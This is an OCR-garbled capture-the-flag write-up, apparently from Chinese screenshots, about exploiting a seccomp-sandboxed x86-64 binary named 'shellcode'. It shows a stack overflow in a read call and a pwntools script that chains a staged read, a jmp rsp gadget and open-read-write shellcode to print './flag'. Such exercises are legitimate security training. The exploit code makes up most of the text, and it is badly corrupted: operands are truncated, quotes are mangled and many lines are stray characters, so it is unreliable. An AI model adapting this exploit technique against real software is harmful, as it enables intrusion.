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[*] '"/home/rencvn/Desktop/chuti/nan/shellcode’

Arch:
RELRO:
Stack:
NX:
PIE:
RWX:

AT 1 #9

Ox7ffff7bc9000
/1ibc-2.27.s0

Ox7ff 718000

AT #4T, BATTLAZER E'S E shellcode % getshell, {HE

amde4-64-1little

Partial RELRO

relro
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Ox7ffff7dc9000 ---p 200000 1e7000 /1ib/x86 64-linux-gnt

Ox7ffff7ffboOO r--p 3000 © [vvar]




char v25; // [rsp+3Bh] [rbp-5h]
int v26; // [rsp+3Ch] [rbp-4h]

v3
vd = €
v5
v6
21;
9;

L)
= -1873741762;
:: ';] w
32;
0;
0;
= @;
21;
0;

1;

Ui
e

o Q@ O O
e e we Wwe ws D
L

S0
-

H
2147418112;
v2 = &v3;

prctl(38, 1LL, OLL, ©LL, ©LL);
return nrctl1(22. b1 . &v1):
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ssize t vulnerable()

{
char buf[32]; // [rsp+@h] [rbp-20h] BYREF

return read(9, buf, Ox40ull);
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FATHBER H ox20 K7, BATTLIEE NEH) shellcode, FrlAIRAIFHEEH
shellcode 5—/" read ¥, M KiZAE

" python
read size = "'’
push rbp
mov rbp,
sub rsp,
mov rdi,
mov rsi,
mov rdx,
mov rax,
syscall
leave

ret
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" python
from pwn import *
elf = ELF('./shellcode")
process('./shellcode")
libc = elf.libc




context(log level="debug',os="linux"',arch="amd64")

io.recvuntil('?")

jmp_rsp = 0x400685
jum = """
sub rsp, 0x30

jmp rsp
read_size =
push rbp
mov rbp,
sub rsp,
mov rdi,
mov rsi,
mov rdx,
mov rax,
syscall
leave
ret

shellcode =
mov rl5, Ox000067616c662f2e
push ri15
mov rdi,
mov rsi,
mov rax,
syscall
mov rl5,
mov rdi,
mov rsi,
mov rdx,
mov rax,
syscall
mov rdi,
mov rsi,
mov rdx,

mov rax,




jmp rsp

payload = asm(read_size).ljust(0x28, '\x00"')+p64(jmp_rsp)+asm(jum)

io.send(payload)

io.send(asm(shellcode).ljust(0x108, ‘A" )+p64(jmp_rsp)+asm(jmpl))

io.interactive()




